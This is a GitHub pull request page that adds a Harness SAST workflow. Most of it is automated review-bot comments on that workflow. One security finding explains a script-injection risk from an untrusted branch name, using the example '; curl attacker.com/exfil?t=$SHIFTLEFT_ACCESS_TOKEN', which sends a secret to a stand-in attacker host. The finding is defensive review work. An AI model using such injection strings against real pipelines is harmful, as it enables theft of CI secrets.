Add GitHub Action: Qwiet AI by Harness Static Analysis - #62
Conversation
|
The latest updates on your projects. Learn more about Vercel for GitHub.
|
💡 TipWant to run additional checks on this PR?
|
|
Rams skipped this PR — Free reviews one repository at a time, and your active repository is Upgrade to Solo — $39/mo to add this repo, or free the slot by removing Rams from that repo via GitHub app settings. |
|
Review changes with |
|
Seems you are using me but didn't get OPENAI_API_KEY seted in Variables/Secrets for this repo. you could follow readme for more information |
|
View changes in DiffLens |
|
Caution The consumer version of Gemini Code Assist on GitHub has been sunset. All code review activity has officially ceased. |
|
🧙 Sourcery is reviewing your pull request! Tips and commandsInteracting with Sourcery
Customizing Your ExperienceAccess your dashboard to:
Getting Help
|
🤖 CodeAnt AI — Review Status
|
Thanks for using CodeAnt! 🎉We're free for open-source projects. if you're enjoying it, help us grow by sharing. Share on X · |
|
🤖 Review complete! 🤖 Reviewed by codereviewbot.ai - Catch bugs before your team does. |
PR Summary
File-wise Changes
Impact
Flow Diagram |
|
Warning Review limit reached
Next review available in: 59 minutes Enable usage-based reviews in Billing to review now. Otherwise, wait until the next included review is available. How can I continue?After more reviews become available, a review can be triggered using the To avoid repeated limits, reduce automatic review volume by pausing incremental auto-reviews earlier, using label-based review opt-in, excluding WIP or generated PR titles, or requesting reviews manually when the PR is ready. If your team needs uninterrupted high-volume reviews, an organization admin can enable usage-based reviews. How do review limits work?CodeRabbit enforces per-developer PR review limits for each organization. Most developers receive the normal plan review availability. For paid Pro and Pro+ PR reviews, CodeRabbit uses adaptive limits for sustained high-volume activity. When a developer's recent PR review activity reaches the 95th percentile or higher among CodeRabbit users, additional reviews become available more gradually as earlier reviews age out of the rolling window. Please refer docs for additional details. Review details⚙️ Run configurationConfiguration used: Organization UI Review profile: ASSERTIVE Plan: Pro Plus Run ID: 📒 Files selected for processing (2)
✨ Finishing Touches🧪 Generate unit tests (beta)
✨ Simplify code
Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
|
View changes in DiffLens |
Hard-Coded Secrets (1)
More info on how to fix Hard-Coded Secrets in General. Vulnerable Libraries (8)
More info on how to fix Vulnerable Libraries in JavaScript. 👉 Go to the dashboard for detailed results. 📥 Happy? Share your feedback with us. |
PR Summary
|
![codescene-delta-analysis[bot]](https://avatars.githubusercontent.com/in/53921?s=60&v=4){kind=small}
There was a problem hiding this comment.
No application code in the PR — skipped Code Health checks.
See analysis details in CodeScene
Quality Gate Profile: Customizable Safeguards
Install CodeScene MCP: safeguard and uplift AI-generated code. Catch issues early with our IDE extension and CLI tool.
![github-advanced-security[bot]](https://avatars.githubusercontent.com/in/57789?s=60&v=4){kind=small}
| runs-on: ubuntu-latest | ||
| steps: | ||
| - uses: actions/checkout@v3 | ||
| - name: Setup Java JDK v8 | ||
| uses: actions/setup-java@v3 | ||
| with: | ||
| distribution: zulu | ||
| java-version: 8 | ||
|
|
||
| - name: Download Harness SAST and SCA CLI | ||
| run: | | ||
| curl https://cdn.shiftleft.io/download/sl > ${GITHUB_WORKSPACE}/sl && chmod a+rx ${GITHUB_WORKSPACE}/sl | ||
|
|
||
| - name: Static Analysis | ||
| run: | | ||
| ${GITHUB_WORKSPACE}/sl --version | ||
| ${GITHUB_WORKSPACE}/sl analyze --strict --wait \ | ||
| --app Games \ | ||
| --tag branch=${{ github.head_ref }} \ | ||
| --js $(pwd) -- --ts | ||
| env: | ||
| SHIFTLEFT_ACCESS_TOKEN: ${{ secrets.SHIFTLEFT_ACCESS_TOKEN }} | ||
| SHIFTLEFT_API_HOST: www.shiftleft.io | ||
| SHIFTLEFT_GRPC_TELEMETRY_HOST: telemetry.shiftleft.io:443 | ||
| SHIFTLEFT_GRPC_API_HOST: api.shiftleft.io:443 | ||
|
|
||
| # Build-Rules: | ||
| # runs-on: ubuntu-latest | ||
| # permissions: write-all | ||
| # needs: NextGen-Static-Analysis | ||
| # steps: | ||
| # - uses: actions/checkout@v3 | ||
| # - name: Download Harness SAST and SCA CLI | ||
| # run: | | ||
| # curl https://cdn.shiftleft.io/download/sl > ${GITHUB_WORKSPACE}/sl && chmod a+rx ${GITHUB_WORKSPACE}/sl | ||
| # - name: Validate Build Rules | ||
| # run: | | ||
| # ${GITHUB_WORKSPACE}/sl check-analysis --app Games \ | ||
| # --github-pr-number=${{github.event.number}} \ | ||
| # --github-pr-user=${{ github.repository_owner }} \ | ||
| # --github-pr-repo=${{ github.event.repository.name }} \ | ||
| # --github-token=${{ secrets.GITHUB_TOKEN }} | ||
| # env: | ||
| # # SHIFTLEFT_ACCESS_TOKEN: ${{ secrets.SHIFTLEFT_ACCESS_TOKEN }} | ||
| # | ||
| # SHIFTLEFT_API_HOST: www.shiftleft.io | ||
| # SHIFTLEFT_GRPC_TELEMETRY_HOST: telemetry.shiftleft.io:443 | ||
| # SHIFTLEFT_GRPC_API_HOST: api.shiftleft.io:443 | ||
| # |
✅ Deploy Preview for lsngames ready!
To edit notification comments on pull requests, go to your Netlify project configuration. |
 |
|
Overall Grade |
Security Reliability Complexity Hygiene |
Code Review Summary
| Analyzer | Status | Updated (UTC) | Details |
|---|---|---|---|
| JavaScript |  |
Jul 26, 2026 7:23a.m. | Review ↗ |
| Python | |
Jul 26, 2026 7:23a.m. | Review ↗ |
| Rust | |
Jul 26, 2026 7:23a.m. | Review ↗ |
| Secrets | |
Jul 26, 2026 7:23a.m. | Review ↗ |
| Ruby | |
Jul 26, 2026 7:23a.m. | Review ↗ |
| Shell | |
Jul 26, 2026 7:23a.m. | Review ↗ |
| Scala | |
Jul 26, 2026 7:23a.m. | Review ↗ |
| SQL | |
Jul 26, 2026 7:23a.m. | Review ↗ |
| Terraform | |
Jul 26, 2026 7:23a.m. | Review ↗ |
| Code coverage |  |
Jul 26, 2026 7:53a.m. | Review ↗ |
| Swift | |
Jul 26, 2026 7:23a.m. | Review ↗ |
| C & C++ | |
Jul 26, 2026 7:23a.m. | Review ↗ |
| C# | |
Jul 26, 2026 7:23a.m. | Review ↗ |
| Ansible | |
Jul 26, 2026 7:23a.m. | Review ↗ |
Important
AI Review is run only on demand for your team. We're only showing results of static analysis review right now. To trigger AI Review, comment @deepsourcebot review on this thread.
❌ 6 blocking issues (6 total)
|
|
View changes in DiffLens |
![qltysh[bot]](https://avatars.githubusercontent.com/in/890766?s=60&v=4){kind=small}
| # SHIFTLEFT_GRPC_API_HOST: api.shiftleft.io:443 | ||
| # | ||
|
|
||
|
|
| NextGen-Static-Analysis: | ||
| runs-on: ubuntu-latest | ||
| steps: | ||
| - uses: actions/checkout@v3 |
| steps: | ||
| - uses: actions/checkout@v3 | ||
| - name: Setup Java JDK v8 | ||
| uses: actions/setup-java@v3 |
| curl https://cdn.shiftleft.io/download/sl > ${GITHUB_WORKSPACE}/sl && chmod a+rx ${GITHUB_WORKSPACE}/sl | ||
|
|
||
| - name: Static Analysis | ||
| run: | |
There was a problem hiding this comment.
"github.head_ref" is potentially untrusted. avoid using it directly in inline scripts. instead, pass it through an environment variable. see https://docs\.github\.com/en/actions/reference/security/secure\-use\#good\-practices\-for\-mitigating\-script\-injection\-attacks for more details [actionlint:expression]
| ${GITHUB_WORKSPACE}/sl --version | ||
| ${GITHUB_WORKSPACE}/sl analyze --strict --wait \ | ||
| --app Games \ | ||
| --tag branch=${{ github.head_ref }} \ |
|
Not up to standards ⛔🔴 Issues
|
| Category | Results |
|---|---|
| ErrorProne | 1 medium |
| Security | 2 critical |
NEW Get contextual insights on your PRs based on Codacy's metrics, along with PR and Jira context, without leaving GitHub. Enable AI reviewer
TIP This summary will be updated as you push new changes.
![sentry[bot]](https://avatars.githubusercontent.com/in/12637?s=60&v=4){kind=small}
| ${GITHUB_WORKSPACE}/sl --version | ||
| ${GITHUB_WORKSPACE}/sl analyze --strict --wait \ | ||
| --app Games \ | ||
| --tag branch=${{ github.head_ref }} \ |
There was a problem hiding this comment.
Bug: The workflow will fail or produce untagged results when run manually via workflow_dispatch because github.head_ref will be empty, resulting in an invalid --tag branch= argument.
Severity: MEDIUM
Suggested Fix
Use a fallback value for the branch tag to ensure it is populated for both pull_request and workflow_dispatch triggers. Replace ${{ github.head_ref }} with ${{ github.head_ref || github.ref_name }} to use the branch or tag name when head_ref is not available.
Prompt for AI Agent
Review the code at the location below. A potential bug has been identified by an AI
agent. Verify if this is a real issue. If it is, propose a fix; if not, explain why it's
not valid.
Location: .github/workflows/shiftleft.yml#L30
Potential issue: The workflow is configured to run on both `pull_request` and
`workflow_dispatch` events. The command on line 30 uses the `github.head_ref` context
variable to set a branch tag. This variable is only populated for `pull_request` events
and is empty when the workflow is triggered manually via `workflow_dispatch`.
Consequently, a manual run will execute the command with an empty branch tag (`--tag
branch=`). Due to the `--strict` flag, this is likely to cause the workflow step to
fail, or at best, will result in analysis findings that are not correctly attributed to
any branch.
Did we get this right? 👍 / 👎 to inform future reviews.
|
View changes in DiffLens |
![cubic-dev-ai[bot]](https://avatars.githubusercontent.com/in/1082092?s=60&v=4){kind=small}
There was a problem hiding this comment.
8 issues found across 2 files
Confidence score: 2/5
- In
.github/workflows/shiftleft.yml, the committed content is not a valid GitHub Actions workflow (missing required workflow keys), so GitHub can’t execute it and the intended security gate can be silently bypassed — split Qwiet build rules into their proper config location and keep a valid workflow file under.github/workflows/that actually runs them. - In
.github/workflows/shiftleft.yml, using${{ github.head_ref }}directly insiderun:creates a command-injection path from attacker-controlled branch names, which could execute arbitrary shell and expose secrets like scanning tokens — pass the value via environment variables and quote/sanitize before shell use. - In
.github/workflows/shiftleft.yml,workflow_dispatchleavesgithub.head_refempty, so--tag branch=is emitted without a value and can break or misattribute scan metadata — use a fallback such asgithub.ref_name(or event-based conditionals) whenhead_refis unset. - In
.github/workflows/shiftleft.yml, security posture and maintainability are weaker than needed (permissionsnot explicitly scoped, deprecated--js, and oldactions/setup-java@v3/actions/checkout@v3), increasing avoidable drift and exposure — pin least-privilege permissions, switch to--jssrc, and upgrade the action versions.
Prompt for AI agents (unresolved issues)
Check if these issues are valid — if so, understand the root cause of each and fix them. If appropriate, use sub-agents to investigate and fix each issue separately.
<file name="shiftleft.yml">
<violation number="1" location="shiftleft.yml:1">
P1: This file is placed in `.github/workflows/` but is not a valid GitHub Actions workflow — it's a Qwiet AI build rules config file missing required `name`, `on`, and `jobs` keys. GitHub will treat it as an invalid workflow and fail to parse it. Move this file to the repo root as `./shiftleft.yml` (the conventional location for V2 build rules), or create a proper workflow file if you intend to run SAST via GitHub Actions.</violation>
<violation number="2" location="shiftleft.yml:3">
P1: Build rules defined in `shiftleft.yml` (blocking critical-severity findings, limiting OSS/container vulns, blocking reachable OSS vulnerabilities) are not enforced by the CI pipeline. The `Build-Rules` job in `.github/workflows/shiftleft.yml` that runs `sl check-analysis --app Games` against PR results is completely commented out. This means the ruleset is shipped to the repository but has no effect — PRs with critical findings will not be blocked. Either uncomment and enable the Build-Rules job, or remove the `shiftleft.yml` file if enforcement is not intended.</violation>
</file>
<file name=".github/workflows/shiftleft.yml">
<violation number="1" location=".github/workflows/shiftleft.yml:12">
P2: This workflow does not define a `permissions` block, so it inherits the repository's default `GITHUB_TOKEN` permissions (which may be overly broad). Add an explicit permissions block at the workflow or job level to follow the principle of least privilege. A minimal starting point would be:
```yaml
permissions:
contents: read
```</violation>
<violation number="2" location=".github/workflows/shiftleft.yml:14">
P3: Using `actions/checkout@v3` is outdated. The latest release is v7.0.1 and other workflows in this repo already use v4+. Update to `actions/checkout@v4` to pick up security fixes and performance improvements.</violation>
<violation number="3" location=".github/workflows/shiftleft.yml:16">
P3: Using `actions/setup-java@v3` is outdated. The latest stable version is v5. Upgrade to benefit from newer Node.js runtime, updated dependencies, and security patches.</violation>
<violation number="4" location=".github/workflows/shiftleft.yml:30">
P2: When this workflow is triggered via `workflow_dispatch`, `github.head_ref` is empty (it's only populated for `pull_request` events). This results in `--tag branch=` being passed with no value, which combined with `--strict` will likely cause the step to fail.
Use a fallback: `${{ github.head_ref || github.ref_name }}`</violation>
<violation number="5" location=".github/workflows/shiftleft.yml:30">
P1: Using `${{ github.head_ref }}` directly in a `run:` script is vulnerable to script injection. A malicious PR branch name containing shell metacharacters (e.g., `; curl attacker.com/exfil?t=$SHIFTLEFT_ACCESS_TOKEN`) could execute arbitrary commands with access to the `SHIFTLEFT_ACCESS_TOKEN` secret.
Pass the value through an environment variable instead:
```yaml
env:
BRANCH: ${{ github.head_ref || github.ref_name }}
Then reference it as $BRANCH in the script.
Shadow auto-approve: would not auto-approve because issues were found.
Re-trigger cubic
| @@ -0,0 +1,15 @@ | |||
| version: 2 | |||
There was a problem hiding this comment.
P1: This file is placed in .github/workflows/ but is not a valid GitHub Actions workflow — it's a Qwiet AI build rules config file missing required name, on, and jobs keys. GitHub will treat it as an invalid workflow and fail to parse it. Move this file to the repo root as ./shiftleft.yml (the conventional location for V2 build rules), or create a proper workflow file if you intend to run SAST via GitHub Actions.
Prompt for AI agents
Check if this issue is valid — if so, understand the root cause and fix it. At shiftleft.yml, line 1:
<comment>This file is placed in `.github/workflows/` but is not a valid GitHub Actions workflow — it's a Qwiet AI build rules config file missing required `name`, `on`, and `jobs` keys. GitHub will treat it as an invalid workflow and fail to parse it. Move this file to the repo root as `./shiftleft.yml` (the conventional location for V2 build rules), or create a proper workflow file if you intend to run SAST via GitHub Actions.</comment>
<file context>
@@ -0,0 +1,15 @@
+version: 2
+build_rules:
+ - id: Allow no critical findings
</file context>
| @@ -0,0 +1,15 @@ | |||
| version: 2 | |||
There was a problem hiding this comment.
P1: Build rules defined in shiftleft.yml (blocking critical-severity findings, limiting OSS/container vulns, blocking reachable OSS vulnerabilities) are not enforced by the CI pipeline. The Build-Rules job in .github/workflows/shiftleft.yml that runs sl check-analysis --app Games against PR results is completely commented out. This means the ruleset is shipped to the repository but has no effect — PRs with critical findings will not be blocked. Either uncomment and enable the Build-Rules job, or remove the shiftleft.yml file if enforcement is not intended.
Prompt for AI agents
Check if this issue is valid — if so, understand the root cause and fix it. At shiftleft.yml, line 3:
<comment>Build rules defined in `shiftleft.yml` (blocking critical-severity findings, limiting OSS/container vulns, blocking reachable OSS vulnerabilities) are not enforced by the CI pipeline. The `Build-Rules` job in `.github/workflows/shiftleft.yml` that runs `sl check-analysis --app Games` against PR results is completely commented out. This means the ruleset is shipped to the repository but has no effect — PRs with critical findings will not be blocked. Either uncomment and enable the Build-Rules job, or remove the `shiftleft.yml` file if enforcement is not intended.</comment>
<file context>
@@ -0,0 +1,15 @@
+version: 2
+build_rules:
+ - id: Allow no critical findings
+ severities:
+ - critical
</file context>
| ${GITHUB_WORKSPACE}/sl --version | ||
| ${GITHUB_WORKSPACE}/sl analyze --strict --wait \ | ||
| --app Games \ | ||
| --tag branch=${{ github.head_ref }} \ |
There was a problem hiding this comment.
P1: Using ${{ github.head_ref }} directly in a run: script is vulnerable to script injection. A malicious PR branch name containing shell metacharacters (e.g., ; curl attacker.com/exfil?t=$SHIFTLEFT_ACCESS_TOKEN) could execute arbitrary commands with access to the SHIFTLEFT_ACCESS_TOKEN secret.
Pass the value through an environment variable instead:
env:
BRANCH: ${{ github.head_ref || github.ref_name }}Then reference it as $BRANCH in the script.
Prompt for AI agents
Check if this issue is valid — if so, understand the root cause and fix it. At .github/workflows/shiftleft.yml, line 30:
<comment>Using `${{ github.head_ref }}` directly in a `run:` script is vulnerable to script injection. A malicious PR branch name containing shell metacharacters (e.g., `; curl attacker.com/exfil?t=$SHIFTLEFT_ACCESS_TOKEN`) could execute arbitrary commands with access to the `SHIFTLEFT_ACCESS_TOKEN` secret.
Pass the value through an environment variable instead:
```yaml
env:
BRANCH: ${{ github.head_ref || github.ref_name }}
Then reference it as $BRANCH in the script.
| ${GITHUB_WORKSPACE}/sl analyze --strict --wait \ | ||
| --app Games \ | ||
| --tag branch=${{ github.head_ref }} \ | ||
| --js $(pwd) -- --ts |
There was a problem hiding this comment.
P2: The --js flag is deprecated in the ShiftLeft CLI in favor of --jssrc. The new workflow starts with a deprecated flag — replace --js with --jssrc to use the recommended, actively maintained option.
Prompt for AI agents
Check if this issue is valid — if so, understand the root cause and fix it. At .github/workflows/shiftleft.yml, line 31:
<comment>The `--js` flag is deprecated in the ShiftLeft CLI in favor of `--jssrc`. The new workflow starts with a deprecated flag — replace `--js` with `--jssrc` to use the recommended, actively maintained option.</comment>
<file context>
@@ -0,0 +1,62 @@
+ ${GITHUB_WORKSPACE}/sl analyze --strict --wait \
+ --app Games \
+ --tag branch=${{ github.head_ref }} \
+ --js $(pwd) -- --ts
+ env:
+ SHIFTLEFT_ACCESS_TOKEN: ${{ secrets.SHIFTLEFT_ACCESS_TOKEN }}
</file context>
|
|
||
| jobs: | ||
| NextGen-Static-Analysis: | ||
| runs-on: ubuntu-latest |
There was a problem hiding this comment.
P2: This workflow does not define a permissions block, so it inherits the repository's default GITHUB_TOKEN permissions (which may be overly broad). Add an explicit permissions block at the workflow or job level to follow the principle of least privilege. A minimal starting point would be:
permissions:
contents: readPrompt for AI agents
Check if this issue is valid — if so, understand the root cause and fix it. At .github/workflows/shiftleft.yml, line 12:
<comment>This workflow does not define a `permissions` block, so it inherits the repository's default `GITHUB_TOKEN` permissions (which may be overly broad). Add an explicit permissions block at the workflow or job level to follow the principle of least privilege. A minimal starting point would be:
```yaml
permissions:
contents: read
```</comment>
<file context>
@@ -0,0 +1,62 @@
+
+jobs:
+ NextGen-Static-Analysis:
+ runs-on: ubuntu-latest
+ steps:
+ - uses: actions/checkout@v3
</file context>
| ${GITHUB_WORKSPACE}/sl --version | ||
| ${GITHUB_WORKSPACE}/sl analyze --strict --wait \ | ||
| --app Games \ | ||
| --tag branch=${{ github.head_ref }} \ |
There was a problem hiding this comment.
P2: When this workflow is triggered via workflow_dispatch, github.head_ref is empty (it's only populated for pull_request events). This results in --tag branch= being passed with no value, which combined with --strict will likely cause the step to fail.
Use a fallback: ${{ github.head_ref || github.ref_name }}
Prompt for AI agents
Check if this issue is valid — if so, understand the root cause and fix it. At .github/workflows/shiftleft.yml, line 30:
<comment>When this workflow is triggered via `workflow_dispatch`, `github.head_ref` is empty (it's only populated for `pull_request` events). This results in `--tag branch=` being passed with no value, which combined with `--strict` will likely cause the step to fail.
Use a fallback: `${{ github.head_ref || github.ref_name }}`</comment>
<file context>
@@ -0,0 +1,62 @@
+ ${GITHUB_WORKSPACE}/sl --version
+ ${GITHUB_WORKSPACE}/sl analyze --strict --wait \
+ --app Games \
+ --tag branch=${{ github.head_ref }} \
+ --js $(pwd) -- --ts
+ env:
</file context>
| steps: | ||
| - uses: actions/checkout@v3 | ||
| - name: Setup Java JDK v8 | ||
| uses: actions/setup-java@v3 |
There was a problem hiding this comment.
P3: Using actions/setup-java@v3 is outdated. The latest stable version is v5. Upgrade to benefit from newer Node.js runtime, updated dependencies, and security patches.
Prompt for AI agents
Check if this issue is valid — if so, understand the root cause and fix it. At .github/workflows/shiftleft.yml, line 16:
<comment>Using `actions/setup-java@v3` is outdated. The latest stable version is v5. Upgrade to benefit from newer Node.js runtime, updated dependencies, and security patches.</comment>
<file context>
@@ -0,0 +1,62 @@
+ steps:
+ - uses: actions/checkout@v3
+ - name: Setup Java JDK v8
+ uses: actions/setup-java@v3
+ with:
+ distribution: zulu
</file context>
| uses: actions/setup-java@v3 | |
| uses: actions/setup-java@v5 |
| NextGen-Static-Analysis: | ||
| runs-on: ubuntu-latest | ||
| steps: | ||
| - uses: actions/checkout@v3 |
There was a problem hiding this comment.
P3: Using actions/checkout@v3 is outdated. The latest release is v7.0.1 and other workflows in this repo already use v4+. Update to actions/checkout@v4 to pick up security fixes and performance improvements.
Prompt for AI agents
Check if this issue is valid — if so, understand the root cause and fix it. At .github/workflows/shiftleft.yml, line 14:
<comment>Using `actions/checkout@v3` is outdated. The latest release is v7.0.1 and other workflows in this repo already use v4+. Update to `actions/checkout@v4` to pick up security fixes and performance improvements.</comment>
<file context>
@@ -0,0 +1,62 @@
+ NextGen-Static-Analysis:
+ runs-on: ubuntu-latest
+ steps:
+ - uses: actions/checkout@v3
+ - name: Setup Java JDK v8
+ uses: actions/setup-java@v3
</file context>
![llamapreview[bot]](https://avatars.githubusercontent.com/in/1023541?s=60&v=4){kind=small}
There was a problem hiding this comment.
LlamaPReview — Blocking issues found
Don't merge yet - Unpinned CLI download from cdn.shiftleft.io without integrity verification.
- Unpinned CLI download from cdn.shiftleft.io without integrity verification
- Whether the GitHub Actions secret
SHIFTLEFT_ACCESS_TOKENis configured in the repository.
Owner action: Pin the CLI download to a specific version and verify its integrity with a cryptographic hash.
Review details and evidence
| Priority | File | Finding | Evidence |
|---|---|---|---|
| P1 | .github/workflows/shiftleft.yml |
Unpinned CLI download from cdn.shiftleft.io without integrity verification | confirmed |
| P2 | .github/workflows/shiftleft.yml |
Build rules in shiftleft.yml are not enforced; Build-Rules job is commented out | confirmed |
| P2 | .github/workflows/shiftleft.yml |
Uses deprecated actions/checkout@v3 and actions/setup-java@v3 (Node.js 20) | confirmed |
Finding details
P1 · Unpinned CLI download from cdn.shiftleft.io without integrity verification
.github/workflows/shiftleft.yml
The workflow downloads the sl CLI binary from a mutable URL with no version pinning, checksum, or signature verification. If the CDN endpoint is compromised or a malicious release is published, an attacker can serve a tampered binary that executes in the next step with full access to the runner environment, including SHIFTLEFT_ACCESS_TOKEN and GITHUB_TOKEN. HTTPS provides transport security but cannot prevent a compromised endpoint.
Verification boundary: confirmed; scope: changed region.
Conceptual guidance (not a committable GitHub suggestion):
- name: Download Harness SAST and SCA CLI
run: |
curl -L https://cdn.shiftleft.io/download/vX.Y.Z/sl > ${GITHUB_WORKSPACE}/sl && \
echo "EXPECTED_SHA256 ${GITHUB_WORKSPACE}/sl" | sha256sum -c && \
chmod a+rx ${GITHUB_WORKSPACE}/sl
P2 · Build rules in shiftleft.yml are not enforced; Build-Rules job is commented out
.github/workflows/shiftleft.yml
The shiftleft.yml file defines build rules (no critical findings, max 1 OSS/container finding, no reachable OSS vulnerabilities), but the Build-Rules job that would enforce them via sl check-analysis is entirely commented out. The workflow runs the scan but does not gate the PR on the declared rules, so critical or reachable vulnerabilities can merge without being blocked. If enforcement is intended, uncomment the job and ensure the token is configured.
Verification boundary: confirmed; scope: changed region.
P2 · Uses deprecated actions/checkout@v3 and actions/setup-java@v3 (Node.js 20)
.github/workflows/shiftleft.yml
actions/checkout@v3 and actions/setup-java@v3 target Node.js 20, which is deprecated on GitHub Actions runners and will be removed. The NextGen-Static-Analysis job already emits a deprecation warning. When the runtime is removed these actions will fail, breaking the workflow. Upgrade to @v4 of both actions.
Verification boundary: confirmed; scope: changed region.
Suggested direct replacement:
- uses: actions/checkout@v4
- name: Setup Java JDK v8
uses: actions/setup-java@v4
Material unknowns
- Whether the GitHub Actions secret
SHIFTLEFT_ACCESS_TOKENis configured in the repository.- Check: A repository administrator must verify in Settings > Secrets and variables > Actions that
SHIFTLEFT_ACCESS_TOKENexists and has the correct value.
- Check: A repository administrator must verify in Settings > Secrets and variables > Actions that
LlamaPReview checks
- Reviewed changed regions in
.github/workflows/shiftleft.yml.
Automated review by LlamaPReview · Free for public open-source projects.
2 participants
This pull request adds a GitHub Action workflow file that executes Harness Static Application Security Testing (SAST) on this PR. Once merged, it will also execute SAST on all future PRs opened in this repository.
Visit app.shiftleft.io to see the security findings for this repository.
We've done a few things on your behalf
SHIFTLEFT_ACCESS_TOKENto allow GitHub Actions in this repository to communicate with the Harness SAST and SCA APIQuestions? Comments? Want to learn more? Get in touch with us or check out our documentation.
Summary by Sourcery
Add a GitHub Actions workflow to run Harness SAST/SCA static analysis on pull requests and manual runs, enforcing baseline security checks via build rules.
New Features:
Enhancements:
Summary by cubic
Add a GitHub Action to run Harness SAST/SCA on every pull request and on-demand to catch security issues early. Also add baseline build rules to block critical and reachable vulnerabilities.
.github/workflows/shiftleft.ymlruns on PRs andworkflow_dispatchand posts a status check.actions/checkout@v3,actions/setup-java@v3(Java 8), downloads the CLI, and runssl analyzefor the "Games" app (JS/TS).shiftleft.ymlbuild rules: no critical findings; allow oneoss_vulnorcontainerfinding; no reachableoss_vuln.Written for commit eb3ec0c. Summary will update on new commits.